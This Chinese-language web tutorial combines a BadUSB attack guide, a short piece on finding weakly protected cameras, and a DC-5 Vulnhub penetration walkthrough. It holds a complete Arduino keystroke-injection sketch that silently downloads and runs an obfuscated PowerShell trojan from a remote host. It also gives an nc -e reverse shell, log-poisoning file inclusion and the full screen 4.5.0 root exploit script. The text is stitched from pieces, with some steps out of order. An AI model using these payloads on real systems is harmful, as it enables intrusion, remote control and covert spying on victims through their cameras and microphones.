利用手机中tertermux,msf和badusb几秒钟黑掉一台电脑 提醒:平时不要在电脑上插入陌生的u盘 准备工具: 1.badusb硬件 2.一台手机安装termux 3.一台服务器安装msf 4.cobaltstrike软件,arduino软件 首先我们使用cobaltstrike创建一个可以连接我们服务器msf的powershell木马,利用invoke-obfuscation工具对poweshell木马进行免杀,然后将木马放入到我们的服务器中, 然后用arduino对badusb进行编程
将代码上传 #include void setup() { // putpower shell your setup code here, to run once Keyboard.begin();//开始键盘通讯 delay(3000);//延时 Keyboard.press(KEY_LEFT_GUI);//win键 delay(500); Keyboard.press('r');//r键 delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 Keyboard.release(KEY_CAPS_LOCK); delay(700); Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1 "); //无回显 //Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1""); //有回显 delay(700); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(700); Keyboard.println("powershell"); delay(700); Keyboard.println("$clnt = new-object system.net.webclient;"); delay(700); Keyboard.println("$url= 'http://xxxxx.top/kk.ps1';"); //远程服务器ps1远控地址 delay(700); Keyboard.println("$file = 'd:user.ps1';"); //下载到目标存放文件的地址 delay(700); Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段执行绕过防火墙进程防护 delay(700); Keyboard.println("$url= 'http://xxxxx..top/hack.html';"); //远程服务器html远控地址 delay(700); Keyboard.println("$file = 'd:hack.html';"); //下载到目标存放文件的地址 delay(700); Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段执行绕过防火墙进程防护 delay(700); Keyboard.println("powershell.exe -executionpolicy bypass -file d:user.ps1"); //本地权限绕过执行木马脚本 delay(700); Keyboard.press(KEY_RETURN); delay(700); Keyboard.release(KEY_RETURN); delay(700); Keyboard.press(KEY_CAPS_LOCK); delay(500); Keyboard.release(KEY_CAPS_LOCK); delay(700); Keyboard.end();//结束键盘通讯 } void loop() { // put your main code here, to run repeatedly: }
badusb的功能就是可以模拟电脑上的键盘和鼠标,如果用户插上badusb,用户电脑就会执行badusb里的代码,从而下载我们提前制作好的木马。 上述代码大致意思为:最小化窗口运行cmd,调出powershell,使用powershell下载指定url的文件,此url就是我们服务器上的木马。 然后我们使用手机termux中的ssh连接服务器并启动msf进行监听。 然后将badusb插入受害者电脑
可以看到已经获取shell。我们就可以在受害者不知道的情况下浏览文件,调用摄像头麦克风进行拍照录音,造成隐私泄露 防范:碰到可疑的U盘不要随意插入很可能携带有恶意代码
网络设备弱密码(监控)随着网络以及家用监控的发展,现在很多家庭都会选择在家中安装监控,你不知道的是因为一个弱密码你可能正处在别人的监控当中。 有许多搜索引擎每天都在搜索互联网上的设备,例如:钟馗之眼,shodan
 搜索到的监控设备
在这些搜索引擎中,可以搜索到互联网上的监控设备,可以访问这些监控的后台管理地址,如果你使用的是弱密码或者厂商的出场默认密码那么很有可能遭到弱密码爆破攻击。从而让你处在别人的监控当中。不仅仅是监控器,所有连接到互联网的设备都有可能暴露在别人眼前。 防范:使用网络设备时使用较为复杂的密码,如果是厂商默认密码要及时更改 vulnhub靶机渗透 Vulnhub它是一个提供各种漏洞环境的平台,可以供网络安全学习者进行渗透测试。 我挑选了一个靶机进行详细教学 DC-5 题目描述: DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback). As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve. And just for the record, there is no phpmailer exploit involved. :-) The ultimate goal of this challenge is to get root and to read the one and only flag.
描述中说到something that changes with a refresh of a page(随着页面刷新而改变的东西),这里我们留意一下。并且靶机只有一个flag 知识点总结: ①端口扫描(熟悉常用的几个端口是哪个服务) ②文件包含漏洞 ③利用文件包含写入shell ④screen提权 1.使用命令列出局域网内所有主机 arp-scan -l
获得目标主机IP:192.168.2.118 2.使用nmap扫描目标主机查看开放端口 root@kali:~#nmap -sV -p- 192.168.2.118 参数说明: -sV 用来扫描目标主机和端口上运行的软件的版本 -p 80 指定80端口 -p- 扫描0-65535全部端口
可以看到开放了80端口,代表有web服务,直接访问 常用端口参考链接 3.访问IP查看web内容
在contact模块发现了留言板的功能,随便输入测试一下
看到请求被提交到了thankyou.php,并且有参数,为GET方式传参。从题目描述中我们也知道提示到了刷新,我们刷新下页面看下
被圈住的地方每当刷新一次都会改变,由此我们可以联想到可能有文件包含漏洞 我们现在先扫一下目录看一下是哪个文件被包含进来 使用DirBuster扫描目录
可以发现有一个footer.php 访问一下正好验证文件包含的漏洞
4.测试文件包含参数 那么我们现在就要确定文件包含的参数是哪一个,一般page ,file,filename用的比较多,我们可以试一下,如果不是我们也可以用kali里边自带的字典进行fuzz
由此,我们可以确定参数为file 我们现在可以对文件进行读取了,但是我们的目的是获取shell,如果只读取文件是无法完成的,我们需要往里边写东西,于是可以想到利用日志文件,将shell写入日志文件 然后进行文件包含
可以看到网站是Nginx的,Nginx 的日志默认路径是 /var/log/nginx/error.log ? /var/log/nginx/access.log
我们也可以通过FuzzDB提供的字典进行爆破日志的位置
有了日志文件位置,接下来就要往日志文件写一句话木马 5.写入一句话木马 ?file=
查看日志文件
可以看到一句话木马已经被写进日志文件了 使用蚁剑进行连接
6.我们用nc反弹一个shell到我们的kali机 首先在kali机上nc -nlvp 1234 然后使用 nc -e /bin/sh IP port 来反弹
因为这个shell不是很稳定,我们用python换一个shell Nmap Vim find Bash More Less Nano cp
7.接下来进行提权 首先我们要查找目前用户有什么root权限的命令(下边两行命令都可以查询) searchsploit screen 4.5.0
一般可以用来SUID提权的有 cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
但是我们发现可用的里边没有,而且有一个screen-4.5.0的奇怪的东西,百度查看一下可以知道这个命令可以用来提权 我们用searchsploit搜索一下漏洞利用脚本 cat 41154.sh ? #!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include #include #include __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell

我们用第一个41154.sh 拷贝过来 gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
直接上传这个脚本执行不了 查看一下脚本如何利用 gcc -o /tmp/rootshell /tmp/rootshell.c
第一步 将第一部分的c代码放入libhax.c中 然后进行编译 kali: nc -nlvp 1234 < libhax.so nc -nlvp 1234 < rootshell 目标机: nc 192.168.2.135 1234 > libhax.so nc 192.168.2.135 1234 > rootshell
第二步 将第二部分c代码放入rootshell.c中进行编译 gcc -o /tmp/rootshell /tmp/rootshell.c
第三步 通过nc将文件传输到目标机的tmp文件夹,因为tmp文件夹的权限一般很大,或者也可以直接用蚁剑传输 kali: nc -nlvp 1234 < libhax.so nc -nlvp 1234 < rootshell 目标机: nc 192.168.2.135 1234 > libhax.so nc 192.168.2.135 1234 > rootshell
第四步 我们按照脚本里边的命令一步一步执行就可以了 $cd /etc $umask 000 $screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" $screen -ls $/tmp/rootshell
提权成功 在root目录下找到flag
|